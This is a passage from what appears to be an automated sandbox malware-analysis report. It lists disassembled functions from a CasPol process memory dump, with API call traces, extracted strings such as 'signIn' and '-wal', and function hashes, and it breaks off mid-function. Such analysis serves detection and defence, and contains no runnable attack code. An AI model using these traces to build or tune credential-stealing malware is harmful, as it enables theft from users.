                                                                                                                                                                  • memcpy.MSVCRT(?,0045A248,00000014), ref: 0040EB80
                                                                                                                                                                  • memcpy.MSVCRT(?,0045A234,00000014,?,0045A248,00000014), ref: 0040EB94
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040EC17
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040EC21
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040EC59
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                    • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                    • Part of subcall function 0040D134: memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                    • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                    • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                    • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
                                                                                                                                                                  • String ID: ($d
                                                                                                                                                                  • API String ID: 1140211610-1915259565
                                                                                                                                                                  • Opcode ID: 2d8781ba105db3adf58cafe694f4c442d3862c9e44634e011589b3902fbf09db
                                                                                                                                                                  • Instruction ID: 92dd2811bdb74a70ba85f750b5b6098557f3982e7a927aadba8bcdb4291d1afd
                                                                                                                                                                  • Opcode Fuzzy Hash: 2d8781ba105db3adf58cafe694f4c442d3862c9e44634e011589b3902fbf09db
                                                                                                                                                                  • Instruction Fuzzy Hash: D7518D71601704AFD724DF2AC586A5AB7F8FF48314F10892EE55ACB381DB75E9408B48
                                                                                                                                                                  Function 00417887 Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004178DF
                                                                                                                                                                  • Sleep.KERNEL32(00000001), ref: 004178E9
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004178FB
                                                                                                                                                                  • UnlockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004179D3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$ErrorLastLockSleepUnlock
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3015003838-0
                                                                                                                                                                  • Opcode ID: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                                                                                                                                                                  • Instruction ID: bb7e89fefddb53edf96b8819cb9ac805ac4f8ca395f1f2490f4f27a155f14dd5
                                                                                                                                                                  • Opcode Fuzzy Hash: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                                                                                                                                                                  • Instruction Fuzzy Hash: C741FFB515C3029FE3209F219C05BA7B7F1BFC4714F20092EF5A556280CBB9D8898A6E
                                                                                                                                                                  Function 00407E1E Relevance: 13.6, APIs: 9, Instructions: 115COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00407E44
                                                                                                                                                                  • memset.MSVCRT ref: 00407E5B
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407E7E
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407ED7
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407EEE
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407F01
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00407F10
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F36
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F50
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _mbscpy$ByteCharMultiWidememset$wcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 59245283-0
                                                                                                                                                                  • Opcode ID: 2093e6e2fb276f324a3f34c95e94e469d6ba5033b990a3802bc2c4c250056f76
                                                                                                                                                                  • Instruction ID: 836b70714d1948736637452a130addde846eabb024256fa404d9b75b59221f05
                                                                                                                                                                  • Opcode Fuzzy Hash: 2093e6e2fb276f324a3f34c95e94e469d6ba5033b990a3802bc2c4c250056f76
                                                                                                                                                                  • Instruction Fuzzy Hash: 2F4130B5900218AFDB20EB65CC81FDAB7FCBB09354F0085AAF559E7241DB34AB488F55
                                                                                                                                                                  Function 0041851E Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 00418548
                                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041855C
                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 00418571
                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 0041857A
                                                                                                                                                                  • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041858E
                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 004185A3
                                                                                                                                                                  • free.MSVCRT ref: 004185AC
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$AttributesDeleteErrorLastSleep$free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2802642348-0
                                                                                                                                                                  • Opcode ID: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                                                                                                  • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                                                                                                                                                                  • Opcode Fuzzy Hash: a77d1a153e4db6e53d86637d525c0b6f23984a2685c1b6acb3711ab2d61cf685
                                                                                                                                                                  • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                                                                                                                                                                  Function 00414E7F Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(004032AB,&quot;,0000000C,?,?,00000000,0040FDF6,?,?,?,<item>), ref: 00414EB6
                                                                                                                                                                  • memcpy.MSVCRT(004032AB,&amp;,0000000A,?,?,00000000,0040FDF6,?,?,?,<item>), ref: 00414EE2
                                                                                                                                                                  • memcpy.MSVCRT(004032AD,&lt;,00000008,?,?,00000000,0040FDF6,?,?,?,<item>), ref: 00414EFC
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                  • String ID: &amp;$&deg;$&gt;$&lt;$&quot;$<br>
                                                                                                                                                                  • API String ID: 3510742995-3273207271
                                                                                                                                                                  • Opcode ID: 369a3f9b1fd6758dbfbd8abebbf452156f2c7f188bb79599d954c26419b7cbea
                                                                                                                                                                  • Instruction ID: c5e12263314fdcdd46b54c12ab2af12db27c873e0c2922b0206687d3a4296adb
                                                                                                                                                                  • Opcode Fuzzy Hash: 369a3f9b1fd6758dbfbd8abebbf452156f2c7f188bb79599d954c26419b7cbea
                                                                                                                                                                  • Instruction Fuzzy Hash: A601F576F8032071EA3020058C46FF70558FBF2B1AFA20127FD86292D5D28D0AC7929F
                                                                                                                                                                  Function 00413A3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenProcess.KERNEL32(00000410,00000000,00000000,?,?,00000000,?,004133E1,00000000,?), ref: 00413A7A
                                                                                                                                                                  • memset.MSVCRT ref: 00413ADC
                                                                                                                                                                  • memset.MSVCRT ref: 00413AEC
                                                                                                                                                                    • Part of subcall function 00413959: wcscpy.MSVCRT ref: 00413982
                                                                                                                                                                  • memset.MSVCRT ref: 00413BD7
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00413BF8
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00413C4E
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcscpy$CloseHandleOpenProcess
                                                                                                                                                                  • String ID: 3A
                                                                                                                                                                  • API String ID: 3300951397-293699754
                                                                                                                                                                  • Opcode ID: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
                                                                                                                                                                  • Instruction ID: 1dd795ac5698d536b98d54c3d0ab6bca04534a71b571f2ddc62e59a9adc8dd8d
                                                                                                                                                                  • Opcode Fuzzy Hash: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
                                                                                                                                                                  • Instruction Fuzzy Hash: 3C514D71108341AFD720DF25DC84ADBB7E8FF84705F004A2EF59992291EB75DA44CBAA
                                                                                                                                                                  Function 00411AC5 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00411AF6
                                                                                                                                                                    • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                                                                  • wcsrchr.MSVCRT ref: 00411B14
                                                                                                                                                                  • wcscat.MSVCRT ref: 00411B2E
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileModuleNamememsetwcscatwcsrchr
                                                                                                                                                                  • String ID: AE$.cfg$General$EA
                                                                                                                                                                  • API String ID: 776488737-1622828088
                                                                                                                                                                  • Opcode ID: b6de0e43a8c0916aab6107a9d450eab560a3e9a3f2f4477a4909840308f89baa
                                                                                                                                                                  • Instruction ID: 09e7cc653f6f297407560738dd106e03d424c3973b250f6ebd227ee33dbedd02
                                                                                                                                                                  • Opcode Fuzzy Hash: b6de0e43a8c0916aab6107a9d450eab560a3e9a3f2f4477a4909840308f89baa
                                                                                                                                                                  • Instruction Fuzzy Hash: 9611B93250022C66DF20EF51DC85ACE7378FF54754F1004ABE908B7142DB74ABC88B99
                                                                                                                                                                  Function 0040D898 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040D8BD
                                                                                                                                                                  • GetDlgCtrlID.USER32(?), ref: 0040D8C8
                                                                                                                                                                  • GetWindowTextW.USER32(?,?,00001000), ref: 0040D8DF
                                                                                                                                                                  • memset.MSVCRT ref: 0040D906
                                                                                                                                                                  • GetClassNameW.USER32(?,?,000000FF), ref: 0040D91D
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040D92F
                                                                                                                                                                    • Part of subcall function 0040D76E: memset.MSVCRT ref: 0040D781
                                                                                                                                                                    • Part of subcall function 0040D76E: _itow.MSVCRT ref: 0040D78F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
                                                                                                                                                                  • String ID: sysdatetimepick32
                                                                                                                                                                  • API String ID: 1028950076-4169760276
                                                                                                                                                                  • Opcode ID: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                                                                                                                                                                  • Instruction ID: 7fefccf0184427ff86f81c2eca1e08be5bb75bf3b76f29e65549559b88306b24
                                                                                                                                                                  • Opcode Fuzzy Hash: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                                                                                                                                                                  • Instruction Fuzzy Hash: 061177769002197AEB10EB91DC49EDF7BACEF05750F0040BAF508D2192EB749A85CA59
                                                                                                                                                                  Function 0041B7D9 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000000,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B911
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000000,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B923
                                                                                                                                                                  • memcpy.MSVCRT(?,-journal,00000008,?,?,?,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B93B
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000000,?,?,?,?,?,?,00000000,00000000,00000000,?,0041EF66,00000000,00000000), ref: 0041B958
                                                                                                                                                                  • memcpy.MSVCRT(?,-wal,00000004,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0041B970
                                                                                                                                                                  • memset.MSVCRT ref: 0041BA3D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memset
                                                                                                                                                                  • String ID: -journal$-wal
                                                                                                                                                                  • API String ID: 438689982-2894717839
                                                                                                                                                                  • Opcode ID: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                                                                                                                                                                  • Instruction ID: 9370885b9bf0560d7aa4477d28ce4586d78acc2621466e64c0ac2b95c9c5353a
                                                                                                                                                                  • Opcode Fuzzy Hash: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                                                                                                                                                                  • Instruction Fuzzy Hash: CBA1EFB1A04606EFCB14DF69C8417DAFBB4FF04314F14826EE46897381D738AA95CB99
                                                                                                                                                                  Function 00405B83 Relevance: 12.2, APIs: 8, Instructions: 197windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00405C27
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00405C3A
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00405C4F
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00405C67
                                                                                                                                                                  • EndDialog.USER32(?,00000002), ref: 00405C83
                                                                                                                                                                  • EndDialog.USER32(?,00000001), ref: 00405C98
                                                                                                                                                                    • Part of subcall function 00405942: GetDlgItem.USER32(?,000003E9), ref: 0040594F
                                                                                                                                                                    • Part of subcall function 00405942: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00405964
                                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003ED,000000C5,00000003,00000000), ref: 00405CB0
                                                                                                                                                                  • SetDlgItemInt.USER32(?,000003ED,?,00000000), ref: 00405DC1
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Item$Dialog$MessageSend
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3975816621-0
                                                                                                                                                                  • Opcode ID: 7732dd923fe157b610bb283d6cbae8fba396a65a3534e092655bb2fc554de655
                                                                                                                                                                  • Instruction ID: f402ee7b04c6f37fed0081192b7321ff61b10a2f1b35431ffb531e22b2ae6a97
                                                                                                                                                                  • Opcode Fuzzy Hash: 7732dd923fe157b610bb283d6cbae8fba396a65a3534e092655bb2fc554de655
                                                                                                                                                                  • Instruction Fuzzy Hash: CC61C130214B05ABEB21AF25C886A2BB7B9FF40314F00C63EF515A76D1D778A980CF59
                                                                                                                                                                  Function 00444C89 Relevance: 12.2, APIs: 3, Strings: 5, Instructions: 154COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00444D09
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00444D1E
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00444D33
                                                                                                                                                                    • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                                                                                                                                                                    • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                                                                                                                                                                    • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp$wcslen$_memicmp
                                                                                                                                                                  • String ID: .save$http://$https://$log profile$signIn
                                                                                                                                                                  • API String ID: 1214746602-2708368587
                                                                                                                                                                  • Opcode ID: 3e4eac411a0fb8cde327a0735871c2cff258de2e34b2a7eb3fc074b31144511c
                                                                                                                                                                  • Instruction ID: a06b7041105a35739b636013fb05be6f811b580b4b6be30494b1fb5d54fb6444
                                                                                                                                                                  • Opcode Fuzzy Hash: 3e4eac411a0fb8cde327a0735871c2cff258de2e34b2a7eb3fc074b31144511c
                                                                                                                                                                  • Instruction Fuzzy Hash: CF41E6F25047018AF730AA65988176773C8DBD4329F20893FE466E27C3DB7CE841451D
                                                                                                                                                                  Function 00405DD1 Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2313361498-0
                                                                                                                                                                  • Opcode ID: ae1e8c4172d72900b4b853b02d180aef4faae84485dd6f90a73647b320165284
                                                                                                                                                                  • Instruction ID: b0df241c53c05d00948b57b0581abff4a91b8671001b7eb205ccc6b71985861b
                                                                                                                                                                  • Opcode Fuzzy Hash: ae1e8c4172d72900b4b853b02d180aef4faae84485dd6f90a73647b320165284
                                                                                                                                                                  • Instruction Fuzzy Hash: F231C1B1500601AFEB249F6AD88692AB7A8FF14344B11853FF545E72A0DB38ED90CFD4
                                                                                                                                                                  Function 00405F4E Relevance: 12.1, APIs: 8, Instructions: 89windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 00405F65
                                                                                                                                                                  • GetWindow.USER32(?,00000005), ref: 00405F7D
                                                                                                                                                                  • GetWindow.USER32(00000000), ref: 00405F80
                                                                                                                                                                    • Part of subcall function 00401739: GetWindowRect.USER32(?,?), ref: 00401748
                                                                                                                                                                  • GetWindow.USER32(00000000,00000002), ref: 00405F8C
                                                                                                                                                                  • GetDlgItem.USER32(?,0000040C), ref: 00405FA2
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 00405FE1
                                                                                                                                                                  • GetDlgItem.USER32(?,0000040E), ref: 00405FEB
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 0040603A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$ItemMessageRectSend$Client
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2047574939-0
                                                                                                                                                                  • Opcode ID: 0a5759caa3c3a2066378adc41c959573f6e4568a1edde2a40f49f69ca2684f31
                                                                                                                                                                  • Instruction ID: 7069056512839d5548a4ade768bb81bcd5f8c043aef79b83aaef118172e1f21b
                                                                                                                                                                  • Opcode Fuzzy Hash: 0a5759caa3c3a2066378adc41c959573f6e4568a1edde2a40f49f69ca2684f31
                                                                                                                                                                  • Instruction Fuzzy Hash: 3421A4B1B4070977E60137629C47F7B666CEF95718F04003AFB007F1C2DABA5C0649A9
                                                                                                                                                                  Function 0041881C Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetSystemTime.KERNEL32(?), ref: 00418836
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 00418845
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 00418856
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000004), ref: 00418869
                                                                                                                                                                  • GetTickCount.KERNEL32 ref: 0041887D
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000004), ref: 00418890
                                                                                                                                                                  • QueryPerformanceCounter.KERNEL32(?), ref: 004188A6
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000008), ref: 004188B6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4218492932-0
                                                                                                                                                                  • Opcode ID: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                                                                                                                                                                  • Instruction ID: a427a134a5f43ecd7f569dc5a6dbdc76404a49e7a1b6a3986382666b5299f542
                                                                                                                                                                  • Opcode Fuzzy Hash: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                                                                                                                                                                  • Instruction Fuzzy Hash: 141184B39001286BEB00AFA5DC899DEB7ACEB1A210F454837FA15D7144E634E2488795
                                                                                                                                                                  Function 0044A7C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 203COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6EB
                                                                                                                                                                    • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6FB
                                                                                                                                                                    • Part of subcall function 0044A6E0: memcpy.MSVCRT(?,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0044A75D
                                                                                                                                                                    • Part of subcall function 0044A6E0: memcpy.MSVCRT(?,?,?,?,?,00000000,?,?,00000000), ref: 0044A7AA
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000040), ref: 0044A8BF
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000004,00000000), ref: 0044A90C
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000040), ref: 0044A988
                                                                                                                                                                    • Part of subcall function 0044A3F0: memcpy.MSVCRT(?,0044A522,00000040,?,?,?,0044A522,?,?,?,?,0044A93F,?,?,?,00000000), ref: 0044A422
                                                                                                                                                                    • Part of subcall function 0044A3F0: memcpy.MSVCRT(?,0044A522,00000008,?,?,?,0044A522,?,?,?,?,0044A93F,?,?,?,00000000), ref: 0044A46E
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000000), ref: 0044A9D8
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000020,?,?,?,?,00000000), ref: 0044AA19
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000020,?,?,?,?,?,?,?,00000000), ref: 0044AA4A
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memset
                                                                                                                                                                  • String ID: gj
                                                                                                                                                                  • API String ID: 438689982-4203073231
                                                                                                                                                                  • Opcode ID: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                                                                                                  • Instruction ID: 6893d0ddfb5a5ce8f484e87047b84ef7868cce638272d7e844f470f6f9013d76
                                                                                                                                                                  • Opcode Fuzzy Hash: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                                                                                                  • Instruction Fuzzy Hash: 2E71D6F39083449BE310EF25D84059FB7E9ABD5348F050E2EF88997205E639DA19C797
                                                                                                                                                                  Function 0040BDB0 Relevance: 10.7, APIs: 7, Instructions: 151COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404398
                                                                                                                                                                    • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043AC
                                                                                                                                                                    • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043BF
                                                                                                                                                                    • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043D3
                                                                                                                                                                    • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043E7
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040BE06
                                                                                                                                                                  • wcsncmp.MSVCRT ref: 0040BE38
